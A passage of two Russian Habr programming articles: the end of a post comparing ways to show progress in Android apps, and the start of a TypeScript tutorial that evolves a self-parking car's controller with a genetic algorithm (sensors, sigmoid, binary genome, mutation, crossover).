1. После завершения отображения нотификации в Notification Area (не завершении ее самой, а только сообщения о то, что она появилась) не виден прогресс, т.е. пользователь не знает происходит что-то или нет. Это значит, что ему придется периодически заглядывать туда, что может быть не очень удобно.
2. Данное решение не является интуитивно понятным в достаточной степени.
3. Общий минус всех не ProgressDialog решений: усложнение логики работы (см. Решение №1).
#### Решение №4. Использовать ProgressBar внутри Title Bar'а приложения
Данное решение применяется во многих продуктах, например, в **gReader**.
Для реализации необходимо создать layout с содержимым, в моем случае это только ProgressBar:
```
xml version="1.0" encoding="utf-8"?
```
И в методе **onCreate** кастомезировать имеющийся title bar нашим layout'ом:
```
Window window = getWindow();
window.requestFeature(Window.FEATURE_CUSTOM_TITLE);
setContentView(R.layout.main);
// Устанавливаем наш layout в качестве основы title bar'а
window.setFeatureInt(Window.FEATURE_CUSTOM_TITLE, R.layout.progress_bar);
// Работаем так же как и с обычным ProgressBar'ом
final ProgressBar progressBar = (ProgressBar) findViewById(R.id.status_progress);
progressBar.setVisibility(View.VISIBLE);
```
В итоге это должно выглядеть вот так:
Данный пример рассчитан на задние произвольного пользовательского layout'а, т.е. в title bar пойдет все содержимое определенное в этом layout'е, т.е. не только ProgressBar, если же вам нужен только он, то для этого существует более простая возможность:
```
requestWindowFeature(Window.FEATURE_INDETERMINATE_PROGRESS);
setContentView(R.layout.main);
setProgressBarIndeterminateVisibility(true); // Или false, чтобы скрыть
```
**Плюсы:**
1. Опять не блокируем пользователя.
2. В отличии от решения №3 прогресс всегда заметен.
3. Как в решениях №2 и №3 прогресс показывается и пользователь в курсе что что-то происходит.
4. Не требуется дополнительное место в окне для отображения прогресса.
**Минусы:**
1. Прогресс привязан к окну, и если потребуется его показывать между разными окнами это нужно будет предусмотреть отдельно.
2. Title bar уступает по высоте Notification area и поэтому в него можно вместить меньше информации, иначе она станет плохо различимой.
3. Подобное решение подходит только для title'ов со стандартным набором стилей. Т.е. на Activity внутри TabHost его приделать не получится.
4. Общий минус всех не ProgressDialog решений: усложнение логики работы (см. Решение №1).
#### Решение №5. Использовать все решения
По моему мнению, это самое лучшее решение!
Вы не обязаны использовать только что-то одно, все зависит от решаемой задачи, как банально это и звучит. Иногда лучше всего будет ничего не показывать, иногда ProgressDialog, иногда вариации ProgressBar'а, а иногда еще что-то. Повторюсь, **все зависит от задачи**.
#### Вместо заключения
Если вы принимаете какое-то решение, то не исходите из соображений простоты разработки и не ограничивайтесь известными вам решениями, учитесь. Подумайте о пользователях, о том как им было бы удобнее и понятнее, а они это обязательно оценят.
Если вы используете решения отличные от приведенных здесь, пожалуйста, расскажите о них, я думаю многим Android-разработчикам будут интересны подобные примеры. | https://habr.com/ru/post/119023/ | null | ru | null |
# Самопаркующаяся тачка в 500 строк кода
> С помощью генетического алгоритма натренируем тачку парковаться самостоятельно.
>
>
### Вкратце
В этой статье мы "научим" автомобиль выполнять самостоятельную парковку с помощью [**генетического алгоритма**](https://en.wikipedia.org/wiki/Genetic_algorithm).
**В 1-м поколении** автомобили будут иметь случайный геном и будут вести себя хаотично, приблизительно вот так:
**В ≈40-м поколении** автомобили понемногу начнут учиться парковке и будут все ближе и ближе подбираться к парковочному месту,
Еще один пример с более сложным стартовым положением:
> Да-да, машины врезаются в другие машины по пути, и неточно становятся на парковочное место, но для них это всего-лишь 40-е поколение с момента создания мира, так что будьте снисходительны и дайте машинам подрасти :D
>
>
Вы можете запустить 🚕 [**симулятор эволюции**](https://trekhleb.dev/self-parking-car-evolution), чтобы увидеть эволюционный процесс прямо в браузере. Симулятор предоставляет следующие возможности:
* Вы можете [**начать тренировку машин с нуля**](https://trekhleb.dev/self-parking-car-evolution?parking=evolution#/) и изменять параметры эволюции
* Вы можете [**увидеть как паркуются уже тренированные авто**](https://trekhleb.dev/self-parking-car-evolution?parking=automatic#/)
* Вы также можете [**попробовать припарковать авто вручную**](https://trekhleb.dev/self-parking-car-evolution?parking=manual#/)
Генетический алгоритм для этого проекта будем реализовывать на TypeScript. В этой статье будет показан полный исходный код алгоритма, но вы также можете найти финальные примеры кода в [**репозитории симулятора**](https://github.com/trekhleb/self-parking-car-evolution).
> Мы будем использовать генетический алгоритм для решения конкретной задачи обучения машин самостоятельной парковке. Однако эта статья затронет только основы алгоритма и ни в коем случае не будет являться полным руководством к нему.
>
>
С учетом вышесказанного, переходим к деталям...
### План
Шаг за шагом мы сведем высокоуровневую задачу создания автомобиля способного парковаться автоматически к простой задаче нахождения оптимальной комбинации 180-и нулей и единиц (к нахождению оптимального генома).
Вот что мы собираемся сделать:
1. 💪🏻 Дадим машине **мышцы** (двигатель, руль), чтобы она могла двигаться в сторону парковочного места.
2. 👀 Дадим машине **глаза** (сенсоры), чтобы машина могла видеть препятствия вокруг.
3. 🧠 Дадим машине **мозг**, чтобы машина могла контролировать мышцы (движение) на основании того, что машина видит (препятствия через сенсоры). Мозг будет простой функцией `movements = f(sensors)`.
4. 🧬 **Разовьем мозг**, чтобы он мог инициировать правильные движения на основании сигналов сенсоров. Здесь мы применим генетический алгоритм. Поколение за поколением функция мозга `movements = f(sensors)` будет учиться как приближать авто к парковочному месту.
### Даем машине мышцы
Чтобы двигаться, машине нужны «мускулы». Дадим машине два типа мышц:
1. **Мышца-двигатель** - позволяет машине двигаться *↓ назад*, *↑ вперед* или *◎ оставаться на месте* (нейтральная передача)
2. **Мышца-руль** - позволяет машине поворачивать *← влево*, *→ вправо* или *◎ ехать прямо*.
С помощью этих двух мышц машина может выполнять следующие движения:
В нашем случае мышцы являются приемниками сигналов, поступающих от мозга каждые 100 мс (миллисекунд). В зависимости от значения сигнала мозга мышцы действуют по-разному. Мы рассмотрим «мозговую» часть ниже, а пока предположим, что наш мозг может посылать только 3 возможных сигнала каждой мышце: `-1`, `0` или `+1`.
```
type MuscleSignal = -1 | 0 | 1;
```
Например, мозг может послать сигнал со значением `+1` в мышцу двигателя, и он начнет движение вперед. Сигнал `-1` двигателю перемещает машину назад. В то же время, если мозг пошлет сигнал `-1` в мышцу рулевого управления, он повернет машину влево и т.д.
Вот как в нашем случае значения сигналов мозга соотносятся с действиями мышц:
> Вы можете использовать [**симулятор эволюции**](https://trekhleb.dev/self-parking-car-evolution?parking=manual#/) и попытаться припарковать машину вручную, чтобы увидеть, как работают мускулы машины. Каждый раз, когда вы нажимаете одну из клавиш клавиатуры `WASD` (или используете джойстик), вы посылаете эти `-1`, `0` или `+1` сигналы двигателю и мышцам рулевого управления.
>
>
### Даем машине глаза
Прежде чем наша машина научится самостоятельно парковаться, используя свои мышцы, она должна «видеть» окружающую среду. Дадим машине `8` глаз в виде датчиков расстояния:
* Каждый датчик может обнаруживать препятствие на расстоянии от `0` до `4` метров.
* Каждый датчик сообщает последние данные о препятствиях, которые он «видит» в «мозг» автомобиля каждые `100 мс`.
* Когда датчик не видит никаких препятствий, он сообщает значение `0`. Если же значение датчика небольшое, но не нулевое (например, `0.01 м`), это будет означать, что препятствие близко.
> Вы можете воспользоваться [**симулятором эволюции**](https://trekhleb.dev/self-parking-car-evolution?parking=manual#/) и посмотреть, как меняется цвет каждого датчика в зависимости от того, насколько близко находится препятствие.
>
>
```
type Sensors = number[];
```
### Даем машине мозг
На данный момент наша машина может «видеть» и «двигаться», но у нее нет «координатора», который преобразовывал бы сигналы от «глаз» в правильные движения «мускулов». Нам нужно дать машине «мозг».
#### Входящие сигналы мозга
В качестве входных данных от датчиков мозг будет получать `8` чисел с плавающей запятой каждые `100ms`, каждое из которых находится в диапазоне `[0...4]`. Например, входящий сигнал от сенсоров может выглядеть так:
```
const sensors: Sensors = [s0, s1, s2, s3, s4, s5, s6, s7];
// i.e. 🧠 ← [0, 0.5, 4, 0.002, 0, 3.76, 0, 1.245]
```
#### Исходящие сигналы мозга
Каждые `100ms` мозг должен выдавать на выходе два целых числа:
1. Одно число - сигнал для двигателя `engineSignal`
2. Другое число - сигнал для руля `wheelSignal`
Каждое число должно иметь тип `MuscleSignal` и может принимать одно из трех значений: `-1`, `0`, или `+1`.
#### Мозговая функция
Учитывая упомянутые выше входящий и исходящий сигналы мозга, мы можем сказать, что мозг - это простая функция:
```
const { engineSignal, wheelSignal } = brainToMuscleSignal(
brainFunction(sensors)
);
// i.e. { engineSignal: 0, wheelSignal: -1 } ← 🧠 ← [0, 0.5, 4, 0.002, 0, 3.76, 0, 1.245]
```
Где `brainToMuscleSignal()` - это функция, которая преобразует исходные сигналы мозга (любое число с плавающей запятой) в сигналы мышц (в одно из чисел `-1`, `0`, или `+1`), чтобы мышцы могли это понять. Мы реализуем эту функцию-конвертер ниже.
Теперь главный вопрос, какой именно функцией должна быть `brainFunction()`?
Чтобы сделать машину "умнее", а ее движения - более сложными, мы могли бы использовать [**многослойный перцептрон**](https://en.wikipedia.org/wiki/Multilayer_perceptron). Название немного пугающее, но это простая нейронная сеть с базовой архитектурой (воспринимайте ее как большую формулу с множеством параметров/коэффициентов).
> Я более детально коснулся темы многослойных перцептронов в проектах [**homemade-machine-learning**](https://github.com/trekhleb/homemade-machine-learning#-multilayer-perceptron-mlp), [**machine-learning-experiments**](https://github.com/trekhleb/machine-learning-experiments#multilayer-perceptron-mlp-or-simple-neural-network-nn) и [**nano-neuron**](https://github.com/trekhleb/nano-neuron) projects. Например, вы можете попросить эту простую нейронную сеть [**распознать нарисованные вами цифры**](https://trekhleb.dev/machine-learning-experiments/#/experiments/DigitsRecognitionMLP).
>
>
Тем не менее, чтобы избежать введения совершенно новой концепции нейронных сетей в этой статье, мы воспользуемся гораздо более простым подходом и будем использовать два **линейных многочлена** с несколькими переменными (чтобы быть более точным, каждый многочлен будет иметь ровно `8` переменных, поскольку у нас есть `8` датчиков), которые будут выглядеть примерно так:
```
engineSignal = brainToMuscleSignal(
(e0 * s0) + (e1 * s1) + ... + (e7 * s7) + e8 // <- brainFunction
)
wheelSignal = brainToMuscleSignal(
(w0 * s0) + (w1 * s1) + ... + (w7 * s7) + w8 // <- brainFunction
)
```
Где:
* `[s0, s1, ..., s7]` - `8` переменных, которые являются `8` значениями датчиков. Они будут менять динамически.
* `[e0, e1, ..., e8]` - `9` коэффициентов полинома двигателя. Эти коэффициенты автомобиль должен будет отыскать/выучить. После окончания обучения они будут статичными.
* `[w0, w1, ..., w8]` - `9` коэффициентов полинома рулевого управления. Эти коэффициенты автомобиль должен будет отыскать/выучить. После окончания обучения они будут статичными.
Ценой использования более простой функции для мозга станет то, что автомобиль не сможет научиться некоторым сложным движениям, а также не сможет хорошо обобщать и хорошо адаптироваться к неизвестному окружению. Но для нашей конкретной стоянки и для демонстрации работы генетического алгоритма этого должно хватить.
Мы можем реализовать универсальную полиномиальную функцию следующим образом:
```
type Coefficients = number[];
// Calculates the value of a linear polynomial based on the coefficients and variables.
const linearPolynomial = (coefficients: Coefficients, variables: number[]): number => {
if (coefficients.length !== (variables.length + 1)) {
throw new Error('Incompatible number of polynomial coefficients and variables');
}
let result = 0;
coefficients.forEach((coefficient: number, coefficientIndex: number) => {
if (coefficientIndex < variables.length) {
result += coefficient * variables[coefficientIndex];
} else {
// The last coefficient needs to be added up without multiplication.
result += coefficient
}
});
return result;
};
```
Мозг автомобиля в этом случае будет состоять из двух многочленов и будет выглядеть так:
```
const engineSignal: MuscleSignal = brainToMuscleSignal(
linearPolynomial(engineCoefficients, sensors)
);
const wheelSignal: MuscleSignal = brainToMuscleSignal(
linearPolynomial(wheelCoefficients, sensors)
);
```
Результатом функции `linearPolynomial()` является число с плавающей запятой. Функция `brainToMuscleSignal()` должна преобразовать широкий диапазон чисел с плавающей запятой в три конкретных целых числа, и она сделает это в два этапа:
1. Преобразует число с плавающей точкой широкого диапазона (например, `0.456` или `3673.45` или `-280`) в число с плавающей точкой ограниченного диапазона `(0...1)` (например, `0.05` или `0.86`)
2. Преобразуйте число с плавающей запятой в диапазоне `(0...1)` в одно из трех целочисленных значений `-1`, `0`, или `+1`. Например, числа с плавающей запятой, близкие к `0`, будут преобразованы в `-1`, числа с плавающей запятой, близкие к `0.5`, будут преобразованы в `0`, а числа с плавающей запятой, близкие к `+1`, будут преобразованы в `+1`.
Чтобы выполнить первую часть преобразования, нам нужно ввести [**сигмоидную функцию**](https://en.wikipedia.org/wiki/Sigmoid_function), которая реализует следующую формулу:
Сигмоид преобразует широкий диапазон чисел с плавающей запятой (ось `x`) в числа с плавающей запятой с ограниченным диапазоном `(0...1)` (ось `y`). Это именно то, что нам нужно.
Вот как шаги преобразования будут выглядеть на графике сигмоиды.
Реализация двух упомянутых выше шагов преобразования будет выглядеть так:
```
// Calculates the sigmoid value for a given number.
const sigmoid = (x: number): number => {
return 1 / (1 + Math.E ** -x);
};
// Converts sigmoid value (0...1) to the muscle signals (-1, 0, +1)
// The margin parameter is a value between 0 and 0.5:
// [0 ... (0.5 - margin) ... 0.5 ... (0.5 + margin) ... 1]
const sigmoidToMuscleSignal = (sigmoidValue: number, margin: number = 0.4): MuscleSignal => {
if (sigmoidValue < (0.5 - margin)) {
return -1;
}
if (sigmoidValue > (0.5 + margin)) {
return 1;
}
return 0;
};
// Converts raw brain signal to the muscle signal.
const brainToMuscleSignal = (rawBrainSignal: number): MuscleSignal => {
const normalizedBrainSignal = sigmoid(rawBrainSignal);
return sigmoidToMuscleSignal(normalizedBrainSignal);
}
```
### Геном автомобиля (ДНК)
> ☝🏻 Главный вывод из разделов «Глаза», «Мышцы» и «Мозг» выше должен быть следующий - коэффициенты `[e0, e1, ..., e8]` и `[w0, w1, ..., w8]` определяют поведение машины. Эти `18` чисел вместе образуют уникальный геном автомобиля (или ДНК автомобиля).
>
>
#### Геном автомобиля в десятичной форме
Соединим вместе коэффициенты мозга `[e0, e1, ..., e8]` и `[w0, w1, ..., w8]`, чтобы сформировать геном автомобиля в десятичной форме:
```
// Car genome as a list of decimal numbers (coefficients).
const carGenomeBase10 = [e0, e1, ..., e8, w0, w1, ..., w8];
// i.e. carGenomeBase10 = [17.5, 0.059, -46, 25, 156, -0.085, -0.207, -0.546, 0.071, -58, 41, 0.011, 252, -3.5, -0.017, 1.532, -360, 0.157]
```
#### Геном автомобиля в двоичной форме
Давайте пойдем на шаг глубже (на уровень генов) и переведем десятичные числа генома автомобиля в двоичный формат (в простые единицы и нули).
> Я подробно описал процесс преобразования чисел с плавающей запятой в двоичные числа в статье [**Binary representation of the floating-point numbers**](https://trekhleb.dev/blog/2021/binary-floating-point/). Обратитесь к ней, если код в этом разделе непонятен.
>
>
Вот краткий пример того, как число с плавающей запятой может быть преобразовано в `16-битное` двоичное число (опять же, можете [**обратиться к этой статье**](https://trekhleb.dev/blog/2021/binary-floating-point/), если пример непонятен):
В нашем случае, чтобы уменьшить длину генома, мы преобразуем каждый плавающий коэффициент в нестандартное `10-битное` двоичное число (`1` знаковый бит, `4` бита экспоненты, `5` дробных битов).
Всего у нас `18` коэффициентов, каждый коэффициент будет преобразован в `10-битное` число. Это означает, что геном автомобиля будет представлять собой массив нулей и единиц длиной `18 * 10 = 180 бит`.
Например, для генома в десятичном формате, о котором говорилось выше, его двоичное представление будет выглядеть так:
```
type Gene = 0 | 1;
type Genome = Gene[];
const genome: Genome = [
// Engine coefficients.
0, 1, 0, 1, 1, 0, 0, 0, 1, 1, // <- 17.5
0, 0, 0, 1, 0, 1, 1, 1, 0, 0, // <- 0.059
1, 1, 1, 0, 0, 0, 1, 1, 1, 0, // <- -46
0, 1, 0, 1, 1, 1, 0, 0, 1, 0, // <- 25
0, 1, 1, 1, 0, 0, 0, 1, 1, 1, // <- 156
1, 0, 0, 1, 1, 0, 1, 1, 0, 0, // <- -0.085
1, 0, 1, 0, 0, 1, 0, 1, 0, 1, // <- -0.207
1, 0, 1, 1, 0, 0, 0, 0, 1, 1, // <- -0.546
0, 0, 0, 1, 1, 0, 0, 1, 0, 0, // <- 0.071
// Wheels coefficients.
1, 1, 1, 0, 0, 1, 1, 0, 1, 0, // <- -58
0, 1, 1, 0, 0, 0, 1, 0, 0, 1, // <- 41
0, 0, 0, 0, 0, 0, 1, 0, 1, 0, // <- 0.011
0, 1, 1, 1, 0, 1, 1, 1, 1, 1, // <- 252
1, 1, 0, 0, 0, 1, 1, 0, 0, 0, // <- -3.5
1, 0, 0, 0, 1, 0, 0, 1, 0, 0, // <- -0.017
0, 0, 1, 1, 1, 1, 0, 0, 0, 1, // <- 1.532
1, 1, 1, 1, 1, 0, 1, 1, 0, 1, // <- -360
0, 0, 1, 0, 0, 0, 1, 0, 0, 0, // <- 0.157
];
```
Только взгляните! Бинарный геном выглядит довольно зашифрованным. Но представьте себе, что эти `180` нулей и единиц определяют, как автомобиль ведет себя на стоянке! Это как если бы вы взломали чью-то ДНК и точно знаете, что означает каждый ген. Сильно!
Кстати, вы можете увидеть точные значения геномов и коэффициентов для наиболее "умного" автомобиля в панели [**симулятора**](https://trekhleb.dev/self-parking-car-evolution?parking=evolution#/)
Вот исходный код, который выполняет преобразование из двоичного формата в десятичный формат чисел с плавающей запятой (мозгу он понадобится для декодирования генома и создания мышечных сигналов на основе данных генома):
```
type Bit = 0 | 1;
type Bits = Bit[];
type PrecisionConfig = {
signBitsCount: number,
exponentBitsCount: number,
fractionBitsCount: number,
totalBitsCount: number,
};
type PrecisionConfigs = {
custom: PrecisionConfig,
};
const precisionConfigs: PrecisionConfigs = {
// Custom-made 10-bits precision for faster evolution progress.
custom: {
signBitsCount: 1,
exponentBitsCount: 4,
fractionBitsCount: 5,
totalBitsCount: 10,
},
};
// Converts the binary representation of the floating-point number to decimal float number.
function bitsToFloat(bits: Bits, precisionConfig: PrecisionConfig): number {
const { signBitsCount, exponentBitsCount } = precisionConfig;
// Figuring out the sign.
const sign = (-1) ** bits[0]; // -1^1 = -1, -1^0 = 1
// Calculating the exponent value.
const exponentBias = 2 ** (exponentBitsCount - 1) - 1;
const exponentBits = bits.slice(signBitsCount, signBitsCount + exponentBitsCount);
const exponentUnbiased = exponentBits.reduce(
(exponentSoFar: number, currentBit: Bit, bitIndex: number) => {
const bitPowerOfTwo = 2 ** (exponentBitsCount - bitIndex - 1);
return exponentSoFar + currentBit * bitPowerOfTwo;
},
0,
);
const exponent = exponentUnbiased - exponentBias;
// Calculating the fraction value.
const fractionBits = bits.slice(signBitsCount + exponentBitsCount);
const fraction = fractionBits.reduce(
(fractionSoFar: number, currentBit: Bit, bitIndex: number) => {
const bitPowerOfTwo = 2 ** -(bitIndex + 1);
return fractionSoFar + currentBit * bitPowerOfTwo;
},
0,
);
// Putting all parts together to calculate the final number.
return sign * (2 ** exponent) * (1 + fraction);
}
// Converts the 8-bit binary representation of the floating-point number to decimal float number.
function bitsToFloat10(bits: Bits): number {
return bitsToFloat(bits, precisionConfigs.custom);
}
```
#### Мозговая функция, работающая с бинарным геномом
Раньше функция нашего мозга напрямую работала с десятичной формой полиномиальных коэффициентов `engineCoefficients` и `wheelCoefficients`. Однако теперь эти коэффициенты кодируются в двоичной форме генома. Давайте добавим функцию `decodeGenome()`, которая будет извлекать коэффициенты из генома, и перепишем мозговые функции следующим образом:
```
// Car has 16 distance sensors.
const CAR_SENSORS_NUM = 8;
// Additional formula coefficient that is not connected to a sensor.
const BIAS_UNITS = 1;
// How many genes do we need to encode each numeric parameter for the formulas.
const GENES_PER_NUMBER = precisionConfigs.custom.totalBitsCount;
// Based on 8 distance sensors we need to provide two formulas that would define car's behavior:
// 1. Engine formula (input: 8 sensors; output: -1 (backward), 0 (neutral), +1 (forward))
// 2. Wheels formula (input: 8 sensors; output: -1 (left), 0 (straight), +1 (right))
const ENGINE_FORMULA_GENES_NUM = (CAR_SENSORS_NUM + BIAS_UNITS) * GENES_PER_NUMBER;
const WHEELS_FORMULA_GENES_NUM = (CAR_SENSORS_NUM + BIAS_UNITS) * GENES_PER_NUMBER;
// The length of the binary genome of the car.
const GENOME_LENGTH = ENGINE_FORMULA_GENES_NUM + WHEELS_FORMULA_GENES_NUM;
type DecodedGenome = {
engineFormulaCoefficients: Coefficients,
wheelsFormulaCoefficients: Coefficients,
}
// Converts the genome from a binary form to the decimal form.
const genomeToNumbers = (genome: Genome, genesPerNumber: number): number[] => {
if (genome.length % genesPerNumber !== 0) {
throw new Error('Wrong number of genes in the numbers genome');
}
const numbers: number[] = [];
for (let numberIndex = 0; numberIndex < genome.length; numberIndex += genesPerNumber) {
const number: number = bitsToFloat10(genome.slice(numberIndex, numberIndex + genesPerNumber));
numbers.push(number);
}
return numbers;
};
// Converts the genome from a binary form to the decimal form
// and splits the genome into two sets of coefficients (one set for each muscle).
const decodeGenome = (genome: Genome): DecodedGenome => {
const engineGenes: Gene[] = genome.slice(0, ENGINE_FORMULA_GENES_NUM);
const wheelsGenes: Gene[] = genome.slice(
ENGINE_FORMULA_GENES_NUM,
ENGINE_FORMULA_GENES_NUM + WHEELS_FORMULA_GENES_NUM,
);
const engineFormulaCoefficients: Coefficients = genomeToNumbers(engineGenes, GENES_PER_NUMBER);
const wheelsFormulaCoefficients: Coefficients = genomeToNumbers(wheelsGenes, GENES_PER_NUMBER);
return {
engineFormulaCoefficients,
wheelsFormulaCoefficients,
};
};
// Update brain function for the engine muscle.
export const getEngineMuscleSignal = (genome: Genome, sensors: Sensors): MuscleSignal => {
const {engineFormulaCoefficients: coefficients} = decodeGenome(genome);
const rawBrainSignal = linearPolynomial(coefficients, sensors);
return brainToMuscleSignal(rawBrainSignal);
};
// Update brain function for the wheels muscle.
export const getWheelsMuscleSignal = (genome: Genome, sensors: Sensors): MuscleSignal => {
const {wheelsFormulaCoefficients: coefficients} = decodeGenome(genome);
const rawBrainSignal = linearPolynomial(coefficients, sensors);
return brainToMuscleSignal(rawBrainSignal);
};
```
### Формулировка проблемы обучения автомобиля
> ☝🏻 Итак, наконец-то, мы подошли к моменту, когда высокоуровневая проблема обучения автомобиля самостоятельной парковке сводится к простой оптимизационной задаче поиска оптимальной комбинации `180` единиц и нулей (нахождение "достаточно хорошего" генома машины). Звучит просто, не правда ли?
>
>
#### Наивный подход
Мы могли бы подойти к проблеме поиска «достаточно хорошего» генома наивно и опробовать все возможные комбинации генов:
1. `[0, ..., 0, 0]`, а затем ...
2. `[0, ..., 0, 1]`, а затем ...
3. `[0, ..., 1, 0]`, а затем ...
4. `[0, ..., 1, 1]`, а затем ...
5. ...
Но давайте подсчитаем. Если у нас есть `180` бит и каждый бит равен либо `0` либо `1`, у нас будет `2^180` (или `1.53 * 10^54`) возможных комбинаций. Предположим, нам нужно дать `15` секунд на каждую машину, чтобы узнать, успешно она припаркуется или нет. Предположим также, что мы можем запустить симуляцию для `10` автомобилей одновременно. Тогда нам понадобится `15 * (1.53 * 10^54) / 10 = 2.29 * 10^54 [секунд]`, что составляет `7.36 * 10^46 [лет]`. Довольно долгое придется ждать. Только сравните, что со дня рождения Иисуса Христа прошло только `2.021 * 10^3 [лет]`.
#### Генетический подход
Нам нужен более быстрый алгоритм, чтобы найти оптимальное значение генома. Здесь на помощь приходит генетический алгоритм. Возможно, мы и не найдем наилучшее значения генома, но есть шанс, что мы сможем найти оптимальное значение. И, что более важно, нам не нужно так долго ждать. С помощью [**симулятора эволюции**](https://trekhleb.dev/self-parking-car-evolution) я смог найти довольно хороший геном в течение `24 [часов]`.
### Основы генетического алгоритма
[**Генетические алгоритмы**](https://en.wikipedia.org/wiki/Genetic_algorithm) вдохновлены процессом естественного отбора, обычно используются для решений оптимизационных задач. Они полагаются на биологически операторы, такие как кроссовер, мутация и отбор.
Проблема поиска «достаточно хорошей» комбинации генов для автомобиля выглядит как проблема оптимизации, так что есть большая вероятность, что генетический алгоритм поможет нам в этом.
Мы не будем подробно описывать генетический алгоритм, но в целом вот основные шаги, которые нам нужно будет сделать:
1. **СОЗДАНИЕ** - самое первое поколение автомобилей [**не может появиться из ничего**](https://en.wikipedia.org/wiki/Laws_of_thermodynamics), поэтому мы генерируем набор случайных геномов (набор двоичных массивов длиной `180`). Например, мы можем создать `1000` машин. Чем больше количество машин (население), тем выше шансы найти оптимальное решение (и найти его быстрее).
2. **СЕЛЕКЦИЯ** - нам нужно будет выбрать наиболее приспособленных особей из текущего поколения для дальнейшего спаривания (см. следующий шаг). Пригодность каждого индивидуума будет определяться на основе функции пригодности, которая в нашем случае покажет, насколько близко автомобиль приблизился к целевому месту парковки. Чем ближе машина к месту парковки, тем она "лучше".
3. **СПАРИВАНИЕ** - попросту говоря, мы позволим отобранным «♂ отцам- автомобилям» «заниматься сексом» с отобранными «♀ матерями-автомобилями», чтобы их геномы могли смешиваться в пропорции `50/50` и производить «♂♀ детей-автомобилей». Идея состоит в том, что "рожденные" дети-автомобили могут стать лучше (или хуже) в парковке, если унаследуют лучшее (или худшее) у родителей.
4. **МУТАЦИЯ** - в процессе спаривания некоторые гены могут случайным образом мутировать (единицы и нули в геноме ребенка могут меняться). Это может привести к более широкому разнообразию геномов детей и, таким образом, к более широкому разнообразию поведения детей-автомобилей. Представьте, что 1-й бит был случайно установлен в `0` для всех `~1000` автомобилей. Единственный способ попробовать машину с 1-м битом, установленным в `1`, - это случайные мутации. В то же время сильные мутации могут разрушить здоровые геномы.
5. Переходим к «Шагу №2», если количество поколений не достигло предела (например, не прошло `100` поколений) или пока самые успешные индивидуумы не достигли ожидаемого значения функции пригодности (например, если лучший автомобиль еще не приблизился к месту стоянки ближе, чем на `1 метр`). В противном случае выходим из цикла.
### Развитие мозга автомобиля с помощью генетического алгоритма
Перед запуском генетического алгоритма давайте создадим функции для этапов «СОЗДАНИЯ», «СЕЛЕКЦИИ», «СПАРИВАНИЯ» и «МУТАЦИИ».
#### Функции для шага «СОЗДАНИЕ»
Функция `createGeneration()` создает массив случайных геномов ( популяцию или поколение) и принимает два параметра:
* `generationSize` - определяет размер поколения. Этот размер поколения будет неизменным в течение всего эволюционного процесса.
* `genomeLength` - определяет длину генома каждого индивидуума в популяции автомобилей. В нашем случае длина генома будет `180`.
Вероятность того, что каждый ген генома будет равен `0` или `1`, составляет `50/50`.
```
type Generation = Genome[];
type GenerationParams = {
generationSize: number,
genomeLength: number,
};
function createGenome(length: number): Genome {
return new Array(length)
.fill(null)
.map(() => (Math.random() < 0.5 ? 0 : 1));
}
function createGeneration(params: GenerationParams): Generation {
const { generationSize, genomeLength } = params;
return new Array(generationSize)
.fill(null)
.map(() => createGenome(genomeLength));
}
```
#### Функции для шага «МУТАЦИЯ»
Функция `mutate()` будет изменять некоторые гены случайным образом на основе значения `mutationProbability`.
Например, если `mutationProbability = 0.1`, то вероятность мутации каждого генома составляет `10%` . Скажем, если бы у нас был геном длиной `10` генов, который выглядел бы как `[0, 0, 0, 0, 0, 0 ,0 ,0 ,0 ,0]`, то после мутации будет вероятность, что 1 ген будет быть мутированным, и мы можем получить геном, который может выглядеть как `[0, 0, 0, 1, 0, 0 ,0 ,0 ,0 ,0]`.
```
// The number between 0 and 1.
type Probability = number;
// @see: https://en.wikipedia.org/wiki/Mutation_(genetic_algorithm)
function mutate(genome: Genome, mutationProbability: Probability): Genome {
for (let geneIndex = 0; geneIndex < genome.length; geneIndex += 1) {
const gene: Gene = genome[geneIndex];
const mutatedGene: Gene = gene === 0 ? 1 : 0;
genome[geneIndex] = Math.random() < mutationProbability ? mutatedGene : gene;
}
return genome;
}
```
#### Функции для шага «СПАРИВАНИЕ»
Функция `mate()` примет геномы `father` и `mother` и произведет двух детей. Мы также произведем мутацию во время спаривания.
Каждый бит детского генома будет определяться на основе значений соответствующего бита генома отца или матери. Вероятность того, что ребенок унаследует бит отца или матери, составляет `50/50%`. Например, предположим, что у нас есть геномы длиной `4` гена:
```
Father's genome: [0, 0, 1, 1]
Mother's genome: [0, 1, 0, 1]
↓ ↓ ↓ ↓
Possible kid #1: [0, 1, 1, 1]
Possible kid #2: [0, 0, 1, 1]
```
В приведенном выше примере мутации не учитывались.
Реализация функции может выглядеть следующим образом:
```
// Performs Uniform Crossover: each bit is chosen from either parent with equal probability.
// @see: https://en.wikipedia.org/wiki/Crossover_(genetic_algorithm)
function mate(
father: Genome,
mother: Genome,
mutationProbability: Probability,
): [Genome, Genome] {
if (father.length !== mother.length) {
throw new Error('Cannot mate different species');
}
const firstChild: Genome = [];
const secondChild: Genome = [];
// Conceive children.
for (let geneIndex = 0; geneIndex < father.length; geneIndex += 1) {
firstChild.push(
Math.random() < 0.5 ? father[geneIndex] : mother[geneIndex]
);
secondChild.push(
Math.random() < 0.5 ? father[geneIndex] : mother[geneIndex]
);
}
return [
mutate(firstChild, mutationProbability),
mutate(secondChild, mutationProbability),
];
}
```
#### Функции для шага «СЕЛЕКЦИЯ»
Чтобы выбрать наиболее приспособленных особей для дальнейшего спаривания, нам нужен способ узнать пригодность каждого генома. Для этого воспользуемся так называемой фитнес-функцией.
Функция пригодности всегда связана с конкретной задачей, которую мы пытаемся решить, и не является универсальной. В нашем случае фитнес-функция будет измерять расстояние между автомобилем и местом парковки. Чем ближе машина к месту стоянки, тем она "лучше" (более пригодна). Мы реализуем фитнес-функцию чуть позже, а пока давайте опишем ее интерфейс:
```
type FitnessFunction = (genome: Genome) => number;
```
Теперь предположим, что у нас есть значения пригодности для каждого индивидуума популяции. Предположим также, что мы отсортировали всех индивидуумов по их значениям приспособленности, так что первые особи являются самыми сильными. Как выбрать отцов и матерей из этого массива? Нам необходимо произвести отбор таким образом, чтобы чем выше значение приспособленности индивидуума, тем выше шансы, что этот индивидуум будет выбран для спаривания. В этом нам поможет функция `weightedRandom()`.
```
// Picks the random item based on its weight.
// The items with a higher weight will be picked more often.
const weightedRandom = (items: T[], weights: number[]): { item: T, index: number } => {
if (items.length !== weights.length) {
throw new Error('Items and weights must be of the same size');
}
// Preparing the cumulative weights array.
// For example:
// - weights = [1, 4, 3]
// - cumulativeWeights = [1, 5, 8]
const cumulativeWeights: number[] = [];
for (let i = 0; i < weights.length; i += 1) {
